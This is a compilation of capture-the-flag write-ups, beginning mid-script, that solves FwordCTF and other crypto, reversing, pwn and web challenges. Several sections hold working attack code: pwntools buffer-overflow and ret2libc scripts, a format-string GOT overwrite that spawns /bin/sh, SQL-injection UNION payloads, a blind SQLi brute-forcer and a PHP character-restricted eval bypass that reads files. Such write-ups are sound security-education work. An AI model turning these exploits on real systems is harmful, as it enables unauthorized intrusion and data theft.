            return possible
p = remote('05.cr.yp.toc.tf', 33371)
p.recvuntil(b"Please submit a printable string X, such that ")
method = p.recvuntil("(")[:-1].decode()
p.recvuntil("= ")
target = p.recvuntil(" ")[:-1].decode()
p.recvuntil("len(X) =")
length = int(p.recvline())
print(method,target,length)
ans = powbuster(method,target,length)
print(ans)
p.sendline(ans)
p.interactive()

Amsterdam

just some rev

  1. reverse with base 3

  2. find K and N (ez)

  3. undo adding

b'..:: CCTF{With_Re3p3ct_for_Sch4lkwijk_dec3nt_Encoding!} ::..'

Flag: CCTF{With_Re3p3ct_for_Sch4lkwijk_dec3nt_Encoding!}

Scripts:

#!/usr/bin/env python3

from Crypto.Util.number import *
from functools import reduce
import operator
#from secret import flag, n, k

def comb(n, k):
    if k > n :
        return 0
    k = min(k, n - k)
    u = reduce(operator.mul, range(n, n - k, -1), 1)
    d = reduce(operator.mul, range(1, k + 1), 1)
    return u // d 

comb(5,2)
def encrypt(msg, n, k):
    msg = bytes_to_long(msg.encode('utf-8'))
    if msg >= comb(n, k):
        return -1
    m = ['1'] + ['0' for i in range(n - 1)]
    for i in range(1, n + 1):
        if msg >= comb(n - i, k):
            m[i-1]= '1'
            msg -= comb(n - i, k)
            k -= 1
    m = int(''.join(m), 2)
    i, z = 0, [0 for i in range(n - 1)]
    c = 0
    while (m > 0):
        if m % 4 == 1:
            c += 3 ** i 
            m -= 1
        elif m % 4 == 3:
            c += 2 * 3 ** i
            m += 1
        m //= 2
        i += 1
    return c

enc = encrypt(flag, n, k)
print('enc =', enc)

Output:

enc = 5550332817876280162274999855997378479609235817133438293571677699650886802393479724923012712512679874728166741238894341948016359931375508700911359897203801700186950730629587624939700035031277025534500760060328480444149259318830785583493

Script 2:

from Crypto.Util.number import *
from functools import reduce
import operator

def comb(n, k):
    if k > n :
        return 0
    k = min(k, n - k)
    u = reduce(operator.mul, range(n, n - k, -1), 1)
    d = reduce(operator.mul, range(1, k + 1), 1)
    return u // d 

def from_int(num, base, alpha="0123456789abcdef"):
    out = ""
    while num:
        out = alpha[num%base] + out
        num //= base
    return out or alpha[0]

ct = 5550332817876280162274999855997378479609235817133438293571677699650886802393479724923012712512679874728166741238894341948016359931375508700911359897203801700186950730629587624939700035031277025534500760060328480444149259318830785583493
#     5550332948208120629025411001331320743912337889071945074153769995654439069135971336244981001925727908903742116646762141899301774026507397497025053737665676875918569586865903953910920954499256359219273488814885412340248767805295663882248
ct = from_int(ct,3)
print(ct)
m = 0
for i in ct:
    m *= 2
    if i == "1":
        m += 1
    elif i == "2":
        m -= 1


print(m)

c = [i for i in from_int(m,2)]#[1:]
n = len(c)#+1
k = 0
for i in c:
    if i == "1":
        k += 1

print(n,k)

msg = -comb(n - 1, k)

for i in range(1, n + 1):
    if c[i-1] == '1':
        msg += comb(n - i, k)
        k -= 1

print(long_to_bytes(msg))

Numbers

Numbers

The program is a constant prompt that... 1. Reads a number from us 2. Checks if the number is greater than 60, if so it tells us we're naughty and exits 3. Reads that amount of data into a 64 length buffer 4. Prints the data 5. Asks if we want to try again, just dont type n

There's also some prompts inbetween but those aren't important. At first glance, this seems perfectly secure. But actually, note this code snippet.

  read(0,local_10,8);
  iVar1 = atoi(local_10);

It actually uses atoi to convert our input to a number, and atoi allows signed integers.

This means we can enter a negative number, like -1, and atoi will return 0xffffffff

the read function takes a size_t parameter - it wont think we're trying to read -1 bytes of data, but 4294967295 bytes of data. Now that's a lot of overflow.

PIE is on, so we cant just overwrite the return address of the integer reading function, ret2plt and call it a day. Because it prints our input back at us, we can exploit it similarly to skywriting from redpwn.

As a recap, strings are terminated by null bytes. When a function, like printf in this case, attempts to print a string, it will continue reading data until it reaches a null byte, at which it will stop.

If we make our input long enough, overwriting null bytes and nudging itself next to some data, said data can be leaked. Imagine it like this:

00 00 00 00 de ad be ef

(our input is at the beginning, and we wish to leak the 0xdeadbeef data) currently this reads as an empty string let's fill the input with AAAA

41 41 41 41 de ad be ef

Now, the null bytes have been overwritten, so the 0xdeadbeef is part of the string! This reads to be AAAA\xde\ad\be\ef.

8 bytes from the beginning of our buffer is atoi+16, we can leak this using this method and calculate the libc base. Our input is 72 bytes from the return address, so after leaking we will send 72 bytes of padding + poprdi + /bin/sh + retgadget(stack alignment) + system to overwrite the return address of the buffer reading function and pop a shell.

Then, cat flag.txt to get the flag.

  1. Send size of -1 to gain large buffer overflow

  2. Send 8 bytes to leak libc address(atoi+16)

  3. Use libc-database find to get the remote libc(libc6_2.28-0ubuntu1_amd64)

  4. Use size -1 trick again to overwrite return address and send system("/bin/sh") rop chain to pop a shell

    from pwn import *
    e = ELF("./numbers")
    context.arch = 'amd64'
    p = e.process() if args.LOCAL else remote('numbers.fword.wtf', 1237)
    libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
    def getoutput(data,cont=True):
     p.recvuntil(b"??\n")
     # We send -1 as a number because atoi allows negatives, but read will actually just interpret this as a request to read 0xffffffff bytes, giving us a lot of overflow
     p.send("-1\x00")
     p.recvline()
     # Our input is echoed(safe printf) so we can leak values because of lack of string termination, skywriting style
     p.send(data)
     if not cont:
         return
     p.recvuntil(data)
     ans = p.recvline()
     p.recvuntil(b"?\n")
     p.send('\n')
     return ans[:-1]
    num = 0x40
    libcleak = getoutput(b'A'*8).ljust(8,b'\x00')
    libcleak = u64(libcleak)
    log.info(f"Libc leak: {hex(libcleak)}")
    libcbase = libcleak - 16 - libc.symbols['atoi']
    log.info(f"Libc base: {hex(libcbase)}")
    libc.address = libcbase
    padding = b'A'*0x48
    rop = ROP(libc)
    poprdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
    retgadget = (rop.find_gadget(['ret']))[0]
    chain = flat(poprdi,next(libc.search(b"/bin/sh\x00")),retgadget,libc.symbols['system'])
    getoutput(padding + chain,False)
    p.interactive()

Flag: FwordCTF{s1gN3d_nuMb3R5_c4n_b3_d4nG3r0us}

ECB is the best CB

We can run a "chosen plaintext" attack on the server. It takes our input, then calculates encrypt(input + flag). Because ECB encrypts each block separately and simply concatenates them, we can brute force the flag byte by byte. A block is 16 bytes. Say if we gave the server 15 As, This means that the first block of the response is the ECB encryption of 15 As + the first byte of the flag. We'll call this block k1.

If we continuously send 15 As + and then compare the first block, then the byte in which the first block of the encryption is equal to k1 is the first byte of the flag.

If we send 14 As, the first block is the encryption of 14As plus the first two bytes of the flag. Given the first byte of the flag, we can run a similar brute force. This continues for the first block, the second block, and however many blocks there are until the flag finishes.

Yet Another Micro-story Library

Flag: [to be added]

Python Deserialization Vulnerability,

https://xerosecurity.com/wordpress/exploiting-python-deserialization-vulnerabilities/

Trailing Bits

So because of the bit removals, relative to the byte each bit position is off by 2 - we can correct this by removing 2 bits at the beginning so that the binary decrypts to valid plaintext, which contains the flag CCTF{it5_3n0u9h_jU5T_tO_sH1ft_M3}

Flag: CCTF{it5_3n0u9h_jU5T_tO_sH1ft_M3}

Web 1 (Something Derpy? Idk)

Download /bart Run strings to get b64 string Decrypt Get flag

One Piece Remake

The binary has no protections except Partial RELRO.

The menu has 3 options besides exiting, one of which is secret.

We can read into a shellcode pointer, but only 5 bytes get read. We can execute said shellcode. This is all pretty much useless since 5 bytes of shellcode is not enough to do literally anything useful.

There's a secret option - gomugomunomi. It reads 100 bytes of input(no BOF) and then printfs it, allowing us to execute the classic format string exploit.

I tried to do the simple %p leak, but found no useful addresses on the stack. Instead, I used %s to read my buffer(offset 7, found through pwntools automation) as an address of a string in order to read got entries.

By doing gotaddress + %7$s we can leak got addresses to get a libc leak. We'll use libc-database find yet again to get the remote libc, libc6_2.30-0ubuntu2.2_i386

Then, we'll execute a got overwrite attack by overwriting printf@got with system. Next gomugomunomi, the input will be system'd, so we enter /bin/sh to get dropped into a shell.

But it's not over! On the remote, there is no cat. The solution to read flag.txt is simple - while read line; do echo $line; done < flag.txt

This reveals the flag.

  1. gotaddress+ %7$s to leak libc

  2. Format string overwrite to map printf to system

  3. In gomugomunomi, send /bin/sh

  4. Use while read line; do echo $line; done to read the flag file as cat is nonexistent

Flag: FwordCTF{i_4m_G0inG_t0_B3coM3_th3_p1r4Te_K1NG}

from pwn import *
e = ELF("./remake")
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2.2_i386/libc.so.6")
def getproc():
    return e.process() if args.LOCAL else remote('onepiece.fword.wtf', 1236)
def dofmt(data):
    p.sendline(b"gomugomunomi")
    p.recvuntil(b">>")
    p.sendline(data)
    output = p.recvline()
    p.recvuntil(b">>")
    return output
def write_fmt(data):
    proc = getproc()
    proc.recvuntil(b">>")
    proc.sendline("gomugomunomi")
    proc.recvuntil(b">>")
    proc.send(data)
    output = proc.recvline()
    proc.close()
    return output
auto = FmtStr(write_fmt)
p = getproc()
p.recvuntil(b">>")
string = b"/bin/sh\x00"
payload = p32(e.got['puts']) + b'%7$s'
output = dofmt(payload)[4:8]
libcleak = u32(output)
log.info(f"Libc leak: {hex(libcleak)}")
libcbase = libcleak - libc.symbols['puts']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
# Overwrite printf@got with system@GLIBC
payload = fmtstr.fmtstr_payload(auto.offset,{e.got['printf']: libc.symbols['system']})
p.sendline(b"gomugomunomi")
p.recvuntil(b">>")
p.sendline(payload)
p.clean()
p.sendline(b"gomugomunomi")
p.recvline()
p.sendline(b"/bin/sh")
p.interactive()

Db 2

After looking up sqlite formats i made the payload

' UNION SELECT name,NULL,NULL,NULL FROM sqlite_master;--

To get all table names and then

' UNION SELECT sql,NULL,NULL,NULL FROM sqlite_master WHERE name = 'user' AND type = 'table';--

To get the settings of that table. the flag was 58

Sql db 3

Blind sql

import requests

url = 'http://joe-cv.threatsims.com/admin/search'
myobj = {'search': "pp' or password like '%"}
myobj = {}
passwd = "#"
for i in range(64):
    for j in "1234567890abcdef":
        passwd = passwd[:-1] + j
        myobj["search"] = "pp' or password like '" + passwd + "%"
        x = requests.post(url, data = myobj)

        a = x.text
        if "joe" in a:
            print(passwd)
            passwd += "#"
            break

    if j == "f" and passwd[-1] != "#":
          break

It gives 248b57c5cabbc9944d169d10bc4959a042d0bb81ab6cfc9166f40a9d0f0fd614 which is hash of "tigers"

Welcome Pwner

Chuck it in ghidra or your favourite decompiler/analyser - we see it prints the system address to us, then uses gets to read an input. This is a classic buffer overflow which we'll attack with ret2libc.

As it prints the libc address of system, we can simply use that to calculate the libc base. The binary is 32-bit, and it reads input into ebp-0x1c, giving 32 bytes of padding until return address overwrite. Then, we just send system + junk + /bin/sh address

Note that we don't know the remote libc - I used libc-database find to get the remote libc binary, which is libc6_2.30-0ubuntu2_i386

So: 1. Receive libc address 2. Calculate libc base 3. Build ret2libc system("/bin/sh") chain 4. Pop shell, cat flag.txt

from pwn import *
NUM_TO_RET = 0x1c + 4
padding = b'A'*NUM_TO_RET
e = ELF("./molotov")
p = e.process() if args.LOCAL else remote('54.210.217.206',1240)
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2_i386/libc.so.6")
system = int(p.recvline(),16)
p.recvline()
libcbase = system - libc.symbols['system']
log.info(f"System address: {hex(system)}")
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
chain = flat(libc.symbols['system'],libc.symbols['exit'],next(libc.search(b"/bin/sh\x00")))
p.sendline(padding + chain)
p.interactive()

Flag: FwordCTF{good_j0b_pwn3r}

XO

Whatever we input, the binary searches for characters in our input that are the same as a character of the flag in the same position. It prints the number of characters before the first occurrence of this. For example, if the flag was FwordCTF{}, then...

Fgjehrfd -> 0

sws -> 1

gggg -> 4

Using this, we can run a simple byte by byte bruteforce in order to get the data in flag.txt - NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!}

Adding the flag format, we get the flag, FwordCTF{NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!}

I used backticks for padding since they were pretty much guaranteed not to be in the flag - we can send backtick_padding + char and bruteforce "char" until the number returned equals the number of backticks, the character of the flag in that position would be the char where the server returned number is equal to the number of backticks.

Flag: FwordCTF{NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!}

from pwn import *
import time
printable = "?_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*(){},./<~\\"
host = ('xo.fword.wtf', 5554)
def getnum(string):
    while True:
        try:
            p = remote(*host)
            break
        except socket.gaierror:
            time.sleep(1)
    #p = process("./task")
    p.recvline()
    p.sendline(string)
    ans = int(p.recvline())
    p.close()
    return ans
flag = ''
i = len(flag)
while '}' not in flag:
    pad = '`'*i 
    for char in printable:
        totry = pad + char
        print(totry)
        if getnum(totry) == i:
            flag += char
            print(f"Flag: {flag}")
            break
    else:
        print(flag)
        quit()
    i += 1

JAILOO WARMUP

We are only allowed to use these characters: $()_[]=+;".

Webserver evals our input.

We also have a 2000 character cap (found by experimenting)

Main idea is to

  • use underscores for variables names

  • use $_=([]."")[([]==[])+([]==[])+([]==[])] to get a lowercase a

  • use $_=([]."")[[].[]+[][[]]] to get an uppercase A

  • use [varname]++ to increase the ascii value for each of these to get all ascii letters

  • take a string and join our characters one by one with .=

  • for other characters, we can just join then with .="char", assuming it is allowed.

Our first goal is to get phpinfo, to see if there are any disabled functions:

Payload:

$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$__="";$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$____;$_____++;$_____++;$__.=$_____;$____=$___;$____++;$____++;$__.=$____;$__.=$_____;$____++;$__.=$____;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$__.=$___;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$__();

We can see that useful functions which would have allowed us to read from the file like file_get_contents are disabled. However, readfile() is not disabled, so we can use that. We can then use printf() to output that to us.

Our final payload will then eval to: printf(readfile("FLAG.PHP"))

Final payload:

$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$__="";$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$____;$_____++;$_____++;$__.=$_____;$_____++;$_____++;$__.=$_____;$_____=$___;$_____++;$_____++;$_____++;$__.=$_____;$_____++;$_____++;$_____++;$_____++;$_____++;$__.=$_____;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$__.=$___;$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$_++;$_++;$_____="";$______=$_;$______++;$______++;$______++;$_______=$______;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$________=$_______;$________++;$________++;$_____.=$________;$_____.=$_;$_=([]."")[([]==[])+([]==[])+([]==[])];$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_++;$_++;$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$_++;$_++;$_____.=$_;$_=([]."")[[].[]+[][[]]];$_______="";$________=$_;$________++;$________++;$________++;$________++;$________++;$_______.=$________;$_________=$________;$_________++;$_________++;$_________++;$_________++;$_________++;$_________++;$_______.=$_________;$_______.=$_;$_________=$________;$_________++;$_______.=$_________;$_______.=".";$_________++;$__________=$_________;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$_______.=$__________;$_______.=$_________;$_______.=$__________;$__($_____($_______));

Flag: FwordCTF{Fr0m_3very_m0unta1ns1d3_l3t_fr33d0m_r1ng_MLK}

(need to view source to see it)

Beginner Rev

As usual angr went brrr after I stopped being stupid and made it search for the success address, not output, which resulted in file errors.

FLAG: FwordCTF{luhn!_wh4t_a_w31rd_n4m3}

Found a pretty good resource on this:

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
import angr
import claripy #the solver engine

proj = angr.Project("./welcome", auto_load_libs=False)
sym_arg_size = 0x10 #Length in Bytes because we will multiply with 8 later
inp = [claripy.BVS('flag_%d' % i, 8 ) for i in range(sym_arg_size)]
flag = claripy.Concat(*inp + [claripy.BVV(b'\n')])
state = proj.factory.full_init_state(args=["./welcome"], stdin=flag)
for byte in inp:
    state.solver.add(byte >= ord('0'))
    state.solver.add(byte <= ord('9'))

simgr = proj.factory.simulation_manager(state)
good = 0x400000 + 0x12b2
bad = [0x400000 + 0x1669, 0x400000 + 0x167b]

simgr.use_technique(angr.exploration_techniques.DFS())
simgr.explore(find=good)
found = simgr.found[0]
print(found.solver.eval(flag, cast_to=bytes))
The solved input is 1755121917194838

Twis Twis Litlle Star

(title hints at mersenne twister, which is what python random uses)

script below:

from pwn import *
from randcrack import RandCrack

rc = RandCrack()

s = remote("twistwislittlestar.fword.wtf", 4445)
print(s.recvline())
print(s.recvline())
print(s.recvline())
print(s.recvline())
print(s.recvline())
print(s.recvline())
d1 = int(s.recvline().decode().split(" : ")[1][:-1])
d2 = int(s.recvline().decode().split(" : ")[1][:-1])
d3 = int(s.recvline().decode().split(" : ")[1][:-1])
print(d1,d2,d3)
rc.submit(d1)
rc.submit(d2)
rc.submit(d3)
print(s.recvline())
for i in range(621):
  s.recvline()
  s.sendline("1")
  s.recvline()
  d = int(s.recvline().decode().split(" : ")[1][:-1])
  print(d,i)
  rc.submit(d)
  s.recvline()
p = []
for i in range(100):
  p.append(rc.predict_randrange(0, 4294967295))
print(p)
s.interactive()

Flag: FwordCTF{R4nd0misnT_R4nd0m_4ft3r_4LL!_Everyhthing_is_predict4bl3_1f_y0u_kn0w_wh4t_Y0u_d01nGGGG}

https://github.com/tna0y/Python-random-module-cracker

FWordCTF

Pwn
Rev
Crypto
OSINT
Bash

Secret Array

If you request the sums of 0 1, 1 2, and 2 0, you can sum them and divide to get the sum of 0, 1 and 2.

Then subtracting one of the above from this lets you find 0, 1 and 2, from which you can ask for 2 3 to get 3, etc.

Script below.

import socket
socket = socket.socket()
socket.connect(('secretarray.fword.wtf', 1337))
socket.recv(2048)
def recv():
    while True:
        a = socket.recv(2048).decode('ASCII')
        if a != '\n':
            return a
socket.send(b'0 1\n')
a=[]
a.append(int(recv()))
socket.send(b'1 2\n')
a.append(int(recv()))
socket.send(b'2 0\n')
a.append(int(recv()))
s=sum(a)//2
b=[s-a[1], s-a[2], s-a[0]]
print(b)
for i in range(2, 1336):
    socket.send(f'{i} {i+1}\n'.encode('ASCII'))
    b.append(int(recv())-b[-1])
    print(f'{i+1} - {b[-1]}')
socket.send(("DONE "+" ".join(str(i) for i in b)+'\n').encode('ASCII'))
socket.recv(2048)
print(socket.recv(2048))

Tornado

Looking at the script, it scrambles the flag (by using one of the flag's characters as the seed), splits it into blocks of 2 bytes, and then pads them, and then AES encrypts them with a known key.

We start by decrypting each block with the key to get a long string: aaFho_i_aC2b_abfc8edFw!kolae_ngbom_r__f_9T525eg__ihedd}{pmertt

Then, we bruteforce the seed by trying each of the characters of the flag as the seed. We do this by scrambling our own string (I chose ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789) with the seed, and then comparing it to the above string and see if it's in flag format.

Seeing as "w" only appears once, and it is in the flag format, I based my check on this. We check if our output string[21] is equal to "B", since this is its place in the flag format.

We get our seed as "h", and we encrypt our string with it. Last thing to do is to match each character up to its original position. Script below:

Flag: FwordCTF{peekabooi_am_the_flag!_i_am_the_danger_52592bbfcd8}

a = "aaFho_i_aC2b_abfc8edFw!kolae_ngbom_r__f_9T525eg__ihedd}{pmertt"
b = "sUHoQmijkF23xd4568LEABgMCcNpqtuOPVWDhabT1Gyz0KefRSYZr79IJlvwXn"

a = list(a)
b = list(b)
c = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
o = ""
for i in range(len(a)):
  d = b.index(c[i])
  o += a[d]
print(o)

Randomness

Basically, there is an LCG being used to generate the string of numbers. It takes a seed, multiplies it with "a", adds "b", and then takes that mod a prime "p".

We don't know any of these values however. It generates a list of numbers from a starting random seed this way, and then xors each character of the flag to get a new list.

We know the flag format is "FwordCTF{", so we can start by XORing these characters to get the actual string of LCG generated numbers: [6680465291011788181, 5100570103593250306, 5906808313299165163, 1965917782737693404, 9056785591048864532, 1829758495155458643, 6790868899161600099, 1596515234863242753, 1542626304251881944] Now, we do some modular maths stuff:

6680465291011788181 a + b = 5100570103593250306 5906808313299165163 a + b = 1965917782737693404(all of these are taken mod p of course) 1596515234863242753 * a + b = 154262630425188194

We can subtract the equations from each other to get rid of the b: (6680465291011788181 - 5906808313299165163)a = 5100570103593250306 - 1965917782737693404 (5906808313299165163 - 1596515234863242753)a = 1965917782737693404 - 1542626304251881944

Simplifying:

Im using these from now because idk why the others arent working

Solve script:

Flag: FwordCTF{LCG_easy_to_break!That_was_a_mistake_choosing_it_as_a_secure_way}

773656977712623018a = 3134652320855556902
4310293078435922410a = 423291478485811460
5194353664298357346a = 53888930611360809
2265916691887264433a = 233243260292215890
p = 9444729917070668893
a = 7762244320486225184
b = 731234830430177597
X=[6680465291011788181]
c=0
while c<73:
    X.append((a*X[c]+b)%p)
    c+=1
o = ""
bleh = [6680465291011788243, 5100570103593250421, 5906808313299165060, 1965917782737693358, 9056785591048864624, 1829758495155458576, 6790868899161600055, 1596515234863242823, 1542626304251881891, 8104506805098882719, 1007224930233032567, 3734079115803760073, 7849173324645439452, 8732100672289854567, 5175836768003400781, 1424151033239111460, 1199105222454059911, 1664215650827157105, 9008386209424299800, 484211781780518254, 2512932525834758909, 270126439443651096, 3183206577049996011, 3279047721488346724, 3454276445316959481, 2818682432513461896, 1198230090827197024, 6998819122186572678, 9203565046169681246, 2238598386754583423, 467098371562174956, 5653529053698720276, 2015452976526330232, 2551998512666399199, 7069788985925185031, 5960242873564733830, 8674335448210427234, 8831855692621741517, 6943582577462564728, 2159276184039111694, 8688468346396385461, 440650407436900405, 6995840816131325250, 4637034747767556143, 3074066864500201630, 3089580429060692934, 2636919931902761401, 5048459994558771200, 6575450200614822046, 666932631675155892, 3355067815387388102, 3494943856508019168, 3208598838604422062, 1651654978658074504, 1031697828323732832, 3522460087077276636, 6871524519121580258, 6523448658792083486, 127306226106122213, 147467006327822722, 3241736541061054362, 8781435214433157730, 7267936298215752831, 3411059229428517472, 6597995245035183751, 1256684894889830824, 6272257692365676430, 303437276610446361, 8730871523914292433, 6472487383860532571, 5022165523149187811, 4462701447753878703, 1590013093628585660, 4874224067795612706]
for i in range(len(bleh)):
    o += chr(bleh[i] ^^ X[i])
print(o)

Fibo

Here's what the program does

First of all, use a mess function to encode the flag. This mess function is easily byte by byte bruteforceable if we use the printable range of characters.

Let's call this mflag.

def mess(msg):
    enc=""
    for i in msg:
        enc+=chr((ord(i)+ord(i))%256)
    return enc
printable = string.printable
def demess(msg):
    # Byte by byte bruteforce
    dec = ""
    for i in range(len(msg)):
        for char in printable:
            if mess(char) == msg[i]:
                dec += char
                break
        else:
            dec += "-"
    return dec

Next, it pads the mflag so that it's length is a multiple of 9 using .

Then, it encrypts the mflag using matrix multiplication. Splitting the mflag into bunches of 9, it fills up a 3x3 matrix using the ascii values, multiplies it by a key that we know, transposes the resulting matrix, and turns it into a string result of of form

matrix[0,0] matrix[0,1] matrix[0,2] matrix[1,0] .... ----- matrix2[0,0] .....

This is all done using the messig_up function. Then, it takes the output, parses it, and uses an encode function to encode each of the numbers, writing them all to the output file. I didn't reverse the encode function, and instead just did a classic bruteforce to get the numbers which were all less than 2500.

Here's how the solve script operates.

  1. Create a mapping of all possible encodings. Now, decode all the number encodings using this mapping.

  2. Split the numbers into groups of 9, fill up 3x3 matrices, and transpose these matrices to get the pure matrix multiplication outputs.

  3. Calculate the matrix inverse of the matrix key, then multiply the matrices by this inverse to get the original matrices

  4. String together all these matrices back into a string by taking the ascii values(we call round, as the results will be floats) to get mess(flag)

  5. Use our byte by byte bruteforce mess function to decode the messed flag.

Script below:

import string
def mess(msg):
    enc=""
    for i in msg:
        enc+=chr((ord(i)+ord(i))%256)
    return enc
printable = string.printable
def demess(msg):
    # Byte by byte bruteforce
    dec = ""
    for i in range(len(msg)):
        for char in printable:
            if mess(char) == msg[i]:
                dec += char
                break
        else:
            dec += "-"
    return dec
import random
import numpy as np
key=np.matrix("1 2 3;0 1 4;5 6 0")
def recur_fibo(n):
    if n<=1:
        return 1
    else:
        return recur_fibo(n-1)+recur_fibo(n-2)
def messig_up(message,key):
    parts=""
    while len(message)!=0:
        to_work_with=message[:9]
        first_one=np.zeros((3,3))
        k=0
        for i in range(3):
            for j in range(3):
                first_one[i][j]=ord(to_work_with[k])
                k+=1
        finish=np.transpose(np.matmul(first_one,key))
        for i in range(3):
            for j in range(3):
                parts=parts + str(finish[i,j])+ " "
        parts+="-----"
        message=message[9:]
    return parts
def encode(n):
    i=1
    fib=recur_fibo(i)
    t_f=[]
    while fib<n:
        t_f.append(fib)
        i+=1
        fib=recur_fibo(i)
    _sum=0
    a_f=[]
    for i in range(len(t_f)-1,-1,-1):
        if _sum==n:
            break
        if _sum+t_f[i]<=n:
            a_f.append(t_f[i])
            _sum+=t_f[i]
    exis=[]
    for i in t_f:
        if i in a_f:
            exis.append(1)
        else:
            exis.append(0)
    return t_f,exis
encmap = []
for i in range(2500):
    encmap.append(encode(i))
stuff = open("output.txt").readlines()
data = []
for line in stuff:
    data.append(eval(line))
nums = []
for piece in data:
    nums.append(encmap.index(piece))
print(nums)
invkey = np.linalg.inv(key)
dec = ""
for i in range(0,len(nums),9):
    split = nums[i:i+9]
    goodmat = np.array([split[j:j+3] for j in range(0,9,3)])
    goodmat = np.transpose(goodmat)
    matr = np.matmul(goodmat,invkey)
    print(matr)
    for x in range(3):
        for y in range(3):
            dec += chr(round(matr[x,y]))
print(len(dec))
print(demess(dec).encode())

Flag: FwordCTF{whatever_you_do_i_can_do_it_better!!!!}

Weird RSA

Each character of the plaintext is encrypted using a known N and unknown e, creating a ciphertext array we're given. Infact, the actual RSA behind it is completely irrelevant. All we need to know is that each character is mapped to a number via a mapping function which we cannot reverse. The ciphertext is 932 numbers long, with 31 unique numbers, making it the equivalent of a simple substitution cipher which we can easily break using frequency analysis.

I used this script(with the values already loaded in enc)

english_freq = [' ', 'E','T','A','I','N','O','R','S','L','H',
                'C','M','D','Y','P','U','W','F','G','.','V',
                'B','X','K',',','Q', 'Z', '\'', '0', '9']
freqenc = sorted(set(enc),key=enc.count,reverse=True)
mapping = {}
for num in freqenc:
    if freqenc.index(num) >= len(english_freq):
        mapping[num] = '-'
    else:
        mapping[num] = english_freq[freqenc.index(num)]
dec = ''
for num in enc:
    dec += mapping[num]
print(dec)

Which prints out:

DOEKHESYW RSRLWANA NA HAEU DIO GOERVNSF AHGATNTHTNIS YNMCEOA. TCE FESEORL NUER NA TI DNSU TCE MIMHLRO LETTEOA NS TCE YNMCEOTEXT RSU TOW TI OEMLRYE TCEP GW TCE YIPPIS LETTEOA NS TCE HAEU LRSFHRFE. TCE RTTRYVEO HAHRLLW YCEYVA AIPE MIAANGNLNTNEA RSU PRVEA AIPE AHGATNTHTNISA ID LETTEOA NS YNMCEOTEXT. CE LIIVA DIO MIAANGLE RMMERONSF BIOUA RSU GRAEU IS TCRT PRVEA PIOE AHGATNTHTNISA. HANSF YIPMHTEOA, NT NA MIAANGLE TI TOW R LIT ID YIPGNSRTNISA NS OELRTNQE ACIOT TNPE. BORM TCE DLRF NS NTA DIOPRT 0 BELLDOEKHESYWRSRLWANAOIYVA. DIO EXRPMLE, ND NS TCE RSRLW'EU YNMCEOTEXT TCE PIAT MIMHLRO LETTEO NA X, ISE PRW MOEUNYT TCRT X OEMLRYEU E IO I ZISE ID TCE PIAT MIMHLRO LETTEOA NS ESFLNAC9 DOIP TCE MLRNSTEXT. NT NA HAEDHL TI LIIV DIO MIMHLRO MRNOA ID LETTEOA IO EQES TOW TI MOEUNYT AIPE DOEKHEST LISFEO AEKHESYEA ID LETTEOA IO BCILE BIOUA. TCE NSTOHUEO RLBRWA TONEA TI DNSU AEKHESYEA ID LETTEOA BCNYC ROE IDTES HAEU NS TCE AELEYTEU LRSFHRFE.
FREQUENCY ANALYSIS IS USED FOR BREAKING SUBSTITUTION CIPHERS. THE GENERAL IDEA IS TO FIND THE POPULAR LETTERS IN THE CIPHERTEXT AND TRY TO REPLACE THEM BY THE COMMON LETTERS IN THE USED LANGUAGE. THE ATTACKER USUALLY CHECKS SOME POSSIBILITIES AND MAKES SOME SUBSTITUTIONS OF LETTERS IN CIPHERTEXT. HE LOOKS FOR POSSIBLE APPEARING WORDS AND BASED ON THAT MAKES MORE SUBSTITUTIONS. USING COMPUTERS, IT IS POSSIBLE TO TRY A LOT OF COMBINATIONS IN RELATIVE SHORT TIME. WRAP THE FLAG IN ITS FORMAT 0 WELLFREQUENCYANALYSISROCKS. FOR EXAMPLE, IF IN THE ANALY'ED CIPHERTEXT THE MOST POPULAR LETTER IS X, ONE MAY PREDICT THAT X REPLACED E OR O ZONE OF THE MOST POPULAR LETTERS IN ENGLISH9 FROM THE PLAINTEXT. IT IS USEFUL TO LOOK FOR POPULAR PAIRS OF LETTERS OR EVEN TRY TO PREDICT SOME FREQUENT LONGER SEQUENCES OF LETTERS OR WHOLE WORDS. THE INTRUDER ALWAYS TRIES TO FIND SEQUENCES OF LETTERS WHICH ARE OFTEN USED IN THE SELECTED LANGUAGE.

From here we can see the flag is WELLFREQUENCYANALYSISROCKS wrapped in the flag format(you actually had to put it in lowercase too)

